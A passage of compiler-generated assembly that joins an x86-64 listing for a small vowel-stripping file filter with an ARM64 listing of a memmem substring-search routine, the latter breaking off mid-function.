movq -2072(%rbp), %rcx
movl $1, %esi
movl $1024, %edx ## imm = 0x400
callq _fread
## kill: def $eax killed $eax killed $rax
movl %eax, -2084(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
cmpl $0, -2084(%rbp)
jle LBB1_3
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movl -2084(%rbp), %edi
leaq -1040(%rbp), %rsi
leaq -2064(%rbp), %rdx
callq _copy_non_vowels
movl %eax, -2088(%rbp)
leaq -2064(%rbp), %rdi
movslq -2088(%rbp), %rdx
movq -2080(%rbp), %rcx
movl $1, %esi
callq _fwrite
leaq -1040(%rbp), %rdi
movq -2072(%rbp), %rcx
movl $1, %esi
movl $1024, %edx ## imm = 0x400
callq _fread
## kill: def $eax killed $eax killed $rax
movl %eax, -2084(%rbp)
jmp LBB1_1
LBB1_3:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB1_5
## %bb.4:
addq $2096, %rsp ## imm = 0x830
popq %rbp
retq
LBB1_5:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _copy_non_vowels ## -- Begin function copy_non_vowels
.p2align 4, 0x90
_copy_non_vowels: ## @copy_non_vowels
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movq %rsi, -16(%rbp)
movq %rdx, -24(%rbp)
movl $0, -28(%rbp)
movl $0, -32(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movl -32(%rbp), %eax
cmpl -4(%rbp), %eax
jge LBB2_6
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -16(%rbp), %rax
movslq -32(%rbp), %rcx
movsbl (%rax,%rcx), %edi
callq _is_vowel
testb $1, %al
jne LBB2_4
## %bb.3: ## in Loop: Header=BB2_1 Depth=1
movq -16(%rbp), %rax
movslq -32(%rbp), %rcx
movb (%rax,%rcx), %dl
movq -24(%rbp), %rax
movslq -28(%rbp), %rcx
movb %dl, (%rax,%rcx)
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
LBB2_4: ## in Loop: Header=BB2_1 Depth=1
jmp LBB2_5
LBB2_5: ## in Loop: Header=BB2_1 Depth=1
movl -32(%rbp), %eax
addl $1, %eax
movl %eax, -32(%rbp)
jmp LBB2_1
LBB2_6:
movl -28(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _is_vowel ## -- Begin function is_vowel
.p2align 4, 0x90
_is_vowel: ## @is_vowel
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movb %dil, %al
movb %al, -2(%rbp)
movsbl -2(%rbp), %edi
callq _tolower
## kill: def $al killed $al killed $eax
movb %al, -2(%rbp)
movsbl -2(%rbp), %eax
movl %eax, -8(%rbp) ## 4-byte Spill
subl $97, %eax
je LBB3_1
jmp LBB3_4
LBB3_4:
movl -8(%rbp), %eax ## 4-byte Reload
subl $101, %eax
je LBB3_1
jmp LBB3_5
LBB3_5:
movl -8(%rbp), %eax ## 4-byte Reload
subl $105, %eax
je LBB3_1
jmp LBB3_6
LBB3_6:
movl -8(%rbp), %eax ## 4-byte Reload
subl $111, %eax
je LBB3_1
jmp LBB3_7
LBB3_7:
movl -8(%rbp), %eax ## 4-byte Reload
subl $117, %eax
jne LBB3_2
jmp LBB3_1
LBB3_1:
movb $1, -1(%rbp)
jmp LBB3_3
LBB3_2:
movb $0, -1(%rbp)
LBB3_3:
movb -1(%rbp), %al
andb $1, %al
movzbl %al, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "r"
L_.str.1: ## @.str.1
.asciz "w"
L_.str.2: ## @.str.2
.asciz "Wrong number of inputs! Try again!\n"
.subsections_via_symbols
| the_stack_data/68888189.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _memmem ; -- Begin function memmem
.p2align 2
_memmem: ; @memmem
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-16]
stur x1, [x29, #-24]
str x2, [sp, #32]
str x3, [sp, #24]
ldur x8, [x29, #-16]
str x8, [sp, #16]
ldr x8, [sp, #32]
str x8, [sp, #8]
ldr x8, [sp, #24]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldr x8, [sp, #16]
stur x8, [x29, #-8]
b LBB0_16
LBB0_2:
ldur x8, [x29, #-24]
ldr x9, [sp, #24]
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
; kill: def $x8 killed $xzr
stur xzr, [x29, #-8]
b LBB0_16
LBB0_4:
ldur x0, [x29, #-16]
ldr x8, [sp, #8]
ldrb w1, [x8]
ldur x2, [x29, #-24]
bl _memchr
str x0, [sp, #16]
ldr x8, [sp, #16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5:
ldr x8, [sp, #24]
subs x8, x8, #1
cset w8, ne
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6:
ldr x8, [sp, #16]
stur x8, [x29, #-8]
b LBB0_16
LBB0_7:
ldr x8, [sp, #16]
ldur x9, [x29, #-16]
subs x9, x8, x9
ldur x8, [x29, #-24]
subs x8, x8, x9
stur x8, [x29, #-24]
ldur x8, [x29, #-24]
ldr x9, [sp, #24]
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB0_9
b LBB0_8
LBB0_8:
; kill: def $x8 killed $xzr
stur xzr, [x29, #-8]
b LBB0_16
LBB0_9:
ldr x8, [sp, #24]
subs x8, x8, #2
cset w8, ne
tbnz w8, #0, LBB0_11
b LBB0_10
LBB0_10:
ldr x0, [sp, #16]
ldur x1, [x29, #-24]
ldr x2, [sp, #8]
bl _twobyte_memmem
stur x0, [x29, #-8]
b LBB0_16
LBB0_11:
ldr x8, [sp, #24]
subs x8, x8, #3
cset w8, ne
tbnz w8, #0, LBB0_13
b LBB0_12
LBB0_12:
ldr x0, [sp, #16]
ldur x1, [x29, #-24]
ldr x2, [sp, #8]
bl _threebyte_memmem
stur x0, [x29, #-8]
b LBB0_16
LBB0_13:
ldr x8, [sp, #24]
subs x8, x8, #4
cset w8, ne
tbnz w8, #0, LBB0_15
b LBB0_14
LBB0_14:
ldr x0, [sp, #16]
ldur x1, [x29, #-24]
ldr x2, [sp, #8]
bl _fourbyte_memmem
stur x0, [x29, #-8]
b LBB0_16
LBB0_15:
ldr x0, [sp, #16]
ldr x8, [sp, #16]
ldur x9, [x29, #-24]
add x1, x8, x9
ldr x2, [sp, #8]
ldr x3, [sp, #24]
bl _twoway_memmem
stur x0, [x29, #-8]
b LBB0_16
LBB0_16:
ldur x0, [x29, #-8]
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function twobyte_memmem
_twobyte_memmem: ; @twobyte_memmem
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, #32]
str x1, [sp, #24]
str x2, [sp, #16]
ldr x8, [sp, #16]
ldrb w9, [x8]
ldr x8, [sp, #16]
ldrb w8, [x8, #1]
orr w8, w8, w9, lsl #8
strh w8, [sp, #14]
ldr x8, [sp, #32]
ldrb w9, [x8]
ldr x8, [sp, #32]
ldrb w8, [x8, #1]
orr w8, w8, w9, lsl #8
strh w8, [sp, #12]
ldr x8, [sp, #32]
add x8, x8, #2
str x8, [sp, #32]
ldr x8, [sp, #24]
subs x8, x8, #2
str x8, [sp, #24]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #24]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB1_6
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldrh w8, [sp, #12]
ldrh w9, [sp, #14]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3:
ldr x8, [sp, #32]
subs x8, x8, #2
str x8, [sp, #40]
b LBB1_10
LBB1_4: ; in Loop: Header=BB1_1 Depth=1
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_1 Depth=1
ldr x8, [sp, #24]
subs x8, x8, #1
str x8, [sp, #24]
ldrh w9, [sp, #12]
ldr x8, [sp, #32]
add x10, x8, #1
str x10, [sp, #32]
ldrb w8, [x8]
orr w8, w8, w9, lsl #8
strh w8, [sp, #12]
b LBB1_1
LBB1_6:
ldrh w8, [sp, #12]
ldrh w9, [sp, #14]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB1_8
b LBB1_7
LBB1_7:
ldr x8, [sp, #32]
subs x8, x8, #2
str x8, [sp] ; 8-byte Folded Spill
b LBB1_9
LBB1_8:
mov x8, #0
str x8, [sp] ; 8-byte Folded Spill
b LBB1_9
LBB1_9:
ldr x8, [sp] ; 8-byte Folded Reload
str x8, [sp, #40]
b LBB1_10
LBB1_10:
ldr x0, [sp, #40]
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function threebyte_memmem
_threebyte_memmem: ; @threebyte_memmem
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, #32]
str x1, [sp, #24]
str x2, [sp, #16]
ldr x8, [sp, #16]
ldrb w9, [x8]
ldr x8, [sp, #16]
ldrb w8, [x8, #1]
lsl w8, w8, #16
orr w8, w8, w9, lsl #24
ldr x9, [sp, #16]
ldrb w9, [x9, #2]
orr w8, w8, w9, lsl #8
str w8, [sp, #12]
ldr x8, [sp, #32]
ldrb w9, [x8]
ldr x8, [sp, #32]
ldrb w8, [x8, #1]
lsl w8, w8, #16
orr w8, w8, w9, lsl #24
ldr x9, [sp, #32]
ldrb w9, [x9, #2]
orr w8, w8, w9, lsl #8
str w8, [sp, #8]
ldr x8, [sp, #32]
add x8, x8, #3
str x8, [sp, #32]
ldr x8, [sp, #24]
subs x8, x8, #3
str x8, [sp, #24]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #24]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB2_6
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #8]
ldr w9, [sp, #12]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB2_4
b LBB2_3
LBB2_3:
ldr x8, [sp, #32]
subs x8, x8, #3
str x8, [sp, #40]
b LBB2_10
LBB2_4: ; in Loop: Header=BB2_1 Depth=1
b LBB2_5
LBB2_5: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #24]
subs x8, x8, #1
str x8, [sp, #24]
ldr w8, [sp, #8]
ldr x9, [sp, #32]
add x10, x9, #1
str x10, [sp, #32]
ldrb w9, [x9]
orr w8, w8, w9
lsl w8, w8, #8
str w8, [sp, #8]
b LBB2_1
LBB2_6:
ldr w8, [sp, #8]
ldr w9, [sp, #12]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB2_8
b LBB2_7
LBB2_7:
ldr x8, [sp, #32]
subs x8, x8, #3
str x8, [sp] ; 8-byte Folded Spill
b LBB2_9
LBB2_8:
mov x8, #0
str x8, [sp] ; 8-byte Folded Spill
b LBB2_9
LBB2_9:
ldr x8, [sp] ; 8-byte Folded Reload
str x8, [sp, #40]
b LBB2_10
LBB2_10:
ldr x0, [sp, #40]
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function fourbyte_memmem
_fourbyte_memmem: ; @fourbyte_memmem
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, #32]
str x1, [sp, #24]
str x2, [sp, #16]
ldr x8, [sp, #16]
ldrb w9, [x8]
ldr x8, [sp, #16]
ldrb w8, [x8, #1]
lsl w8, w8, #16
orr w8, w8, w9, lsl #24
ldr x9, [sp, #16]
ldrb w9, [x9, #2]
orr w8, w8, w9, lsl #8
ldr x9, [sp, #16]
ldrb w9, [x9, #3]
orr w8, w8, w9
str w8, [sp, #12]
ldr x8, [sp, #32]
ldrb w9, [x8]
ldr x8, [sp, #32]
ldrb w8, [x8, #1]
lsl w8, w8, #16
orr w8, w8, w9, lsl #24
ldr x9, [sp, #32]
ldrb w9, [x9, #2]
orr w8, w8, w9, lsl #8
ldr x9, [sp, #32]
ldrb w9, [x9, #3]
orr w8, w8, w9
str w8, [sp, #8]
ldr x8, [sp, #32]
add x8, x8, #4
str x8, [sp, #32]
ldr x8, [sp, #24]
subs x8, x8, #4
str x8, [sp, #24]
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #24]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB3_6
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #8]
ldr w9, [sp, #12]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB3_4
b LBB3_3
LBB3_3:
ldr x8, [sp, #32]
subs x8, x8, #4
str x8, [sp, #40]
b LBB3_10
LBB3_4: ; in Loop: Header=BB3_1 Depth=1
b LBB3_5
LBB3_5: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #24]
subs x8, x8, #1
str x8, [sp, #24]
ldr w9, [sp, #8]
ldr x8, [sp, #32]
add x10, x8, #1
str x10, [sp, #32]
ldrb w8, [x8]
orr w8, w8, w9, lsl #8
str w8, [sp, #8]
b LBB3_1
LBB3_6:
ldr w8, [sp, #8]
ldr w9, [sp, #12]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB3_8
b LBB3_7
LBB3_7:
ldr x8, [sp, #32]
subs x8, x8, #4
str x8, [sp] ; 8-byte Folded Spill
b LBB3_9
LBB3_8:
mov x8, #0
str x8, [sp] ; 8-byte Folded Spill
b LBB3_9
LBB3_9:
ldr x8, [sp] ; 8-byte Folded Reload
str x8, [sp, #40]
b LBB3_10
LBB3_10:
ldr x0, [sp, #40]
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function twoway_memmem
_twoway_memmem: ; @twoway_memmem
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #2240
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str x0, [sp, #128]
str x1, [sp, #120]
str x2, [sp, #112]
str x3, [sp, #104]
movi.2d v0, #0000000000000000
stur q0, [x29, #-64]
stur q0, [x29, #-48]
str xzr, [sp, #96]
b LBB4_1
LBB4_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #96]
ldr x9, [sp, #104]
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB4_4
b LBB4_2
LBB4_2: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp, #112]
ldr x9, [sp, #96]
ldrb w8, [x8, x9]
; kill: def $x8 killed $w8
mov x9, #64
udiv x10, x8, x9
mul x10, x10, x9
subs x10, x8, x10
mov x8, #1
lsl x10, x8, x10
ldr x8, [sp, #112]
ldr x11, [sp, #96]
ldrb w8, [x8, x11]
; kill: def $x8 killed $w8
udiv x9, x8, x9
sub x8, x29, #64
add x9, x8, x9, lsl #3
ldr x8, [x9]
orr x8, x8, x10
str x8, [x9]
ldr x8, [sp, #96]
add x8, x8, #1
ldr x9, [sp, #112]
ldr x10, [sp, #96]
ldrb w9, [x9, x10]
mov x10, x9
add x9, sp, #144
str x8, [x9, x10, lsl #3]
b LBB4_3
LBB4_3: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp, #96]
add x8, x8, #1
str x8, [sp, #96]
b LBB4_1
LBB4_4:
mov x8, #-1
str x8, [sp, #88]
str xzr, [sp, #80]
mov x8, #1
str x8, [sp, #64]
str x8, [sp, #72]
b LBB4_5
LBB4_5: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #80]
ldr x9, [sp, #72]
add x8, x8, x9
ldr x9, [sp, #104]
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB4_16
b LBB4_6
LBB4_6: ; in Loop: Header=BB4_5 Depth=1
ldr x8, [sp, #112]
ldr x9, [sp, #88]
ldr x10, [sp, #72]
add x9, x9, x10
ldrb w8, [x8, x9]
ldr x9, [sp, #112]
ldr x10, [sp, #80]
ldr x11, [sp, #72]
add x10, x10, x11
ldrb w9, [x9, x10]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB4_11
b LBB4_7
LBB4_7: ; in Loop: Header=BB4_5 Depth=1
ldr x8, [sp, #72]
ldr x9, [sp, #64]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB4_9
b LBB4_8
LBB4_8: ; in Loop: Header=BB4_5 Depth=1
ldr x9, [sp, #64]
ldr x8, [sp, #80]
add x8, x8, x9
str x8, [sp, #80]
mov x8, #1
str x8, [sp, #72]
b LBB4_10
LBB4_9: ; in Loop: Header=BB4_5 Depth=1
ldr x8, [sp, #72]
add x8, x8, #1
str x8, [sp, #72]
b LBB4_10
LBB4_10: ; in Loop: Header=BB4_5 Depth=1
b LBB4_15
LBB4_11: ; in Loop: Header=BB4_5 Depth=1
ldr x8, [sp, #112]
ldr x9, [sp, #88]
ldr x10, [sp, #72]
add x9, x9, x10
ldrb w8, [x8, x9]
ldr x9, [sp, #112]
ldr x10, [sp, #80]
ldr x11, [sp, #72]
add x10, x10, x11
ldrb w9, [x9, x10]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB4_13
b LBB4_12
LBB4_12: ; in Loop: Header=BB4_5 Depth=1
ldr x9, [sp, #72]
ldr x8, [sp, #80]
add x8, x8, x9
str x8, [sp, #80]
mov x8, #1
str x8, [sp, #72]
ldr x8, [sp, #80]
ldr x9, [sp, #88]
subs x8, x8, x9
str x8, [sp, #64]
b LBB4_14
LBB4_13: ; in Loop: Header=BB4_5 Depth=1
ldr x9, [sp, #80]
mov x8, #1
add x10, x9, #1
str x10, [sp, #80]
str x9, [sp, #88]
str x8, [sp, #64]
str x8, [sp, #72]
b LBB4_14
LBB4_14: ; in Loop: Header=BB4_5 Depth=1
b LBB4_15
LBB4_15: ; in Loop: Header=BB4_5 Depth=1
b LBB4_5
LBB4_16:
ldr x8, [sp, #88]
str x8, [sp, #56]
ldr x8, [sp, #64]
str x8, [sp, #48]
mov x8, #-1
str x8, [sp, #88]
str xzr, [sp, #80]
mov x8, #1
str x8, [sp, #64]
str x8, [sp, #72]
b LBB4_17
LBB4_17: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #80]
ldr x9, [sp, #72]
add x8, x8, x9
ldr x9, [sp, #104]
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB4_28
b LBB4_18
LBB4_18: ; in Loop: Header=BB4_17 Depth=1
ldr x8, [sp, #112]
ldr x9, [sp, #88]
ldr x10, [sp, #72]
add x9, x9, x10
ldrb w8, [x8, x9]
ldr x9, [sp, #112]
ldr x10, [sp, #80]
ldr x11, [sp, #72]
add x10, x10, x11
ldrb w9, [x9, x10]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB4_23
b LBB4_19
LBB4_19: ; in Loop: Header=BB4_17 Depth=1
ldr x8, [sp, #72]
ldr x9, [sp, #64]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB4_21
b LBB4_20
LBB4_20: ; in Loop: Header=BB4_17 Depth=1
ldr x9, [sp, #64]
ldr x8, [sp, #80]
add x8, x8, x9
str x8, [sp, #80]
mov x8, #1
str x8, [sp, #72]
b LBB4_22
LBB4_21: ; in Loop: Header=BB4_17 Depth=1
ldr x8, [sp, #72]
add x8, x8, #1
str x8, [sp, #72]
b LBB4_22
LBB4_22: ; in Loop: Header=BB4_17 Depth=1
b LBB4_27
LBB4_23: ; in Loop: Header=BB4_17 Depth=1
ldr x8, [sp, #112]
ldr x9, [sp, #88]
ldr x10, [sp, #72]
add x9, x9, x10
ldrb w8, [x8, x9]
ldr x9, [sp, #112]
ldr x10, [sp, #80]
ldr x11, [sp, #72]
add x10, x10, x11
ldrb w9, [x9, x10]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB4_25
b LBB4_24
LBB4_24: ; in Loop: Header=BB4_17 Depth=1
ldr x9, [sp, #72]
ldr x8, [sp, #80]
add x8, x8, x9
str x8, [sp, #80]
mov x8, #1
str x8, [sp, #72]
ldr x8, [sp, #80]
ldr x9, [sp, #88]
subs x8, x8, x9
str x8, [sp, #64]
b LBB4_26
LBB4_25: ; in Loop: Header=BB4_17 Depth=1
ldr x9, [sp, #80]
mov x8, #1
add x10, x9, #1
str x10, [sp, #80]
str x9, [sp, #88]
str x8, [sp, #64]
str x8, [sp, #72]
b LBB4_26
LBB4_26: ; in Loop: Header=BB4_17 Depth=1
b LBB4_27
LBB4_27: ; in Loop: Header=BB4_17 Depth=1
b LBB4_17
LBB4_28:
ldr x8, [sp, #88]
add x8, x8, #1
ldr x9, [sp, #56]
add x9, x9, #1
subs x8, x8, x9
cset w8, ls
tbnz w8, #0, LBB4_30
b LBB4_29
LBB4_29:
ldr x8, [sp, #88]
str x8, [sp, #56]
b LBB4_31
LBB4_30:
ldr x8, [sp, #48]
str x8, [sp, #64]
b LBB4_31
LBB4_31:
ldr x0, [sp, #112]
ldr x8, [sp, #112]
ldr x9, [sp, #64]
add x1, x8, x9
ldr x8, [sp, #56]
add x2, x8, #1
bl _memcmp
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB4_36
b LBB4_32
LBB4_32:
str xzr, [sp, #32]
ldr x8, [sp, #56]
ldr x9, [sp, #104]
ldr x10, [sp, #56]
subs x9, x9, x10
subs x9, x9, #1
subs x8, x8, x9
cset w8, ls
tbnz w8, #0, LBB4_34
b LBB4_33
LBB4_33:
ldr x8, [sp, #56]
str x8, [sp, #24] ; 8-byte Folded Spill
b LBB4_35
LBB4_34:
ldr x8, [sp, #104]
ldr x9, [sp, #56]
subs x8, x8, x9
subs x8, x8, #1
str x8, [sp, #24] ; 8-byte Folded Spill
b LBB4_35
LBB4_35:
ldr x8, [sp, #24] ; 8-byte Folded Reload
add x8, x8, #1
str x8, [sp, #64]
b LBB4_37
LBB4_36:
ldr x8, [sp, #104]
ldr x9, [sp, #64]
subs x8, x8, x9
str x8, [sp, #32]
b LBB4_37
LBB4_37:
str xzr, [sp, #40]
b LBB4_38
LBB4_38: ; =>This Loop Header: Depth=1
; Child Loop BB4_51 Depth 2
; Child Loop BB4_59 Depth 2
ldr x8, [sp, #120]
ldr x9, [sp, #128]
subs x8, x8, x9
ldr x9, [sp, #104]
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB4_40
b LBB4_39
LBB4_39:
; kill: def $x8 killed $xzr
str xzr, [sp, #136]
b LBB4_67
LBB4_40: ; in Loop: Header=BB4_38 Depth=1
ldr x8, [sp, #128]
ldr x10, [sp, #104]
mov x9, #1
subs x10, x10, #1
ldrb w8, [x8, x10]
; kill: def $x8 killed $w8
mov x12, #64
udiv x10, x8, x12
sub x8, x29, #64
ldr x8, [x8, x10, lsl #3]
ldr x10, [sp, #128]
ldr x11, [sp, #104]
subs x11, x11, #1
ldrb w10, [x10, x11]
; kill: def $x10 killed $w10
udiv x11, x10, x12
mul x11, x11, x12
subs x10, x10, x11
lsl x9, x9, x10
ands x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB4_46
b LBB4_41
LBB4_41: ; in Loop: Header=BB4_38 Depth=1
ldr x8, [sp, #104]
ldr x9, [sp, #128]
ldr x10, [sp, #104]
subs x10, x10, #1
ldrb w9, [x9, x10]
mov x10, x9
add x9, sp, #144
ldr x9, [x9, x10, lsl #3]
subs x8, x8, x9
str x8, [sp, #72]
ldr x8, [sp, #72]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB4_45
b LBB4_42
LBB4_42: ; in Loop: Header=BB4_38 Depth=1
ldr x8, [sp, #72]
ldr x9, [sp, #40]
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB4_44
b LBB4_43
LBB4_43: ; in Loop: Header=BB4_38 Depth=1
ldr x8, [sp, #40]
str x8, [sp, #72]
b LBB4_44
LBB4_44: ; in Loop: Header=BB4_38 Depth=1
ldr x9, [sp, #72]
ldr x8, [sp, #128]
add x8, x8, x9
str x8, [sp, #128]
str xzr, [sp, #40]
b LBB4_38
LBB4_45: ; in Loop: Header=BB4_38 Depth=1
b LBB4_47
LBB4_46: ; in Loop: Header=BB4_38 Depth=1
ldr x9, [sp, #104]
ldr x8, [sp, #128]
add x8, x8, x9
str x8, [sp, #128]
str xzr, [sp, #40]
b LBB4_38
LBB4_47: ; in Loop: Header=BB4_38 Depth=1
ldr x8, [sp, #56]
add x8, x8, #1
ldr x9, [sp, #40]
subs x8, x8, x9
cset w8, ls
tbnz w8, #0, LBB4_49
b LBB4_48
LBB4_48: ; in Loop: Header=BB4_38 Depth=1
ldr x8, [sp, #56]
add x8, x8, #1
str x8, [sp, #16] ; 8-byte Folded Spill
b LBB4_50
LBB4_49: ; in Loop: Header=BB4_38 Depth=1
ldr x8, [sp, #40]
str x8, [sp, #16] ; 8-byte Folded Spill
b LBB4_50
LBB4_50: ; in Loop: Header=BB4_38 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
str x8, [sp, #72]
b LBB4_51
LBB4_51: ; Parent Loop BB4_38 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [sp, #72]
ldr x9, [sp, #104]
subs x8, x8, x9
cset w8, hs
mov w9, #0
str w9, [sp, #12] ; 4-byte Folded Spill
tbnz w8, #0, LBB4_53
b LBB4_52
LBB4_52: ; in Loop: Header=BB4_51 Depth=2
ldr x8, [sp, #112]
ldr x9, [sp, #72]
ldrb w8, [x8, x9]
ldr x9, [sp, #128]
ldr x10, [sp, #72]
ldrb w9, [x9, x10]
subs w8, w8, w9
cset w8, eq
str w8, [sp, #12] ; 4-byte Folded Spill
b LBB4_53
LBB4_53: ; in Loop: Header=BB4_51 Depth=2
ldr w8, [sp, #12] ; 4-byte Folded Reload
tbz w8, #0, LBB4_56
b LBB4_54
LBB4_54: ; in Loop: Header=BB4_51 Depth=2
b LBB4_55
LBB4_55: ; in Loop: Header=BB4_51 Depth=2
ldr x8, [sp, #72]
add x8, x8, #1
str x8, [sp, #72]
b LBB4_51
LBB4_56: ; in Loop: Header=BB4_38 Depth=1
ldr x8, [sp, #72]
ldr x9, [sp, #104]
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB4_58
b LBB4_57
LBB4_57: ; in Loop: Header=BB4_38 Depth=1
ldr x8, [sp, #72]
ldr x9, [sp, #56]
subs x9, x8, x9
ldr x8, [sp, #128]
add x8, x8, x9
str x8, [sp, #128]
str xzr, [sp, #40]
b LBB4_38
LBB4_58: ; in Loop: Header=BB4_38 Depth=1
ldr x8, [sp, #56]
add x8, x8, #1
str x8, [sp, #72]
b LBB4_59
LBB4_59: ; Parent Loop BB4_38 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [sp, #72]
ldr x9, [sp, #40]
subs x8, x8, x9
cset w8, ls
mov w9, #0
str w9, [sp, #8] ; 4-byte Folded Spill
tbnz w8, #0, LBB4_61
b LBB4_60
LBB4_60: ; in Loop: Header=BB4_59 Depth=2
ldr x8, [sp, #112]
ldr x9, [sp, #72]
subs x9, x9, #1
ldrb w8, [x8, x9]
ldr x9, [sp, #128]
ldr x10, [sp, #72]
subs x10, x10, #1
ldrb w9, [x9, x10]
subs w8, w8, w9
cset w8, eq
str w8, [sp, #8] ; 4-byte Folded Spill
b LBB4_61
LBB4_61: ; in Loop: Header=BB4_59 Depth=2
ldr w8, [sp, #8] ; 4-byte Folded Reload
tbz w8, #0, LBB4_64
b LBB4_62
LBB4_62: ; in Loop: Header=BB4_59 Depth=2
b LBB4_63
LBB4_63: ; in Loop: Header=BB4_59 Depth=2
ldr x8, [sp, #72]
subs x8, x8, #1
str x8, [sp, #72]
b LBB4_59
LBB4_64: ; in Loop: Header=BB4_38 Depth=1
ldr x8, [sp, #72]
ldr x9, [sp, #40]
subs x8, x8, x9
cset w8, hi
tbnz w8, #0, LBB4_66
b LBB4_65
LBB4_65:
ldr x8, [sp, #128]
str x8, [sp, #136]
b LBB4_67
LBB4_66: ; in Loop: Header=BB4_38 Depth=1
ldr x9, [sp, #64]
ldr x8, [sp, #128]
add x8, x8, x9
str x8, [sp, #128]
ldr x8, [sp, #32]
str x8, [sp, #40]
b LBB4_38
LBB4_67:
ldr x8, [sp, #136]
str x8, [sp] ; 8-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
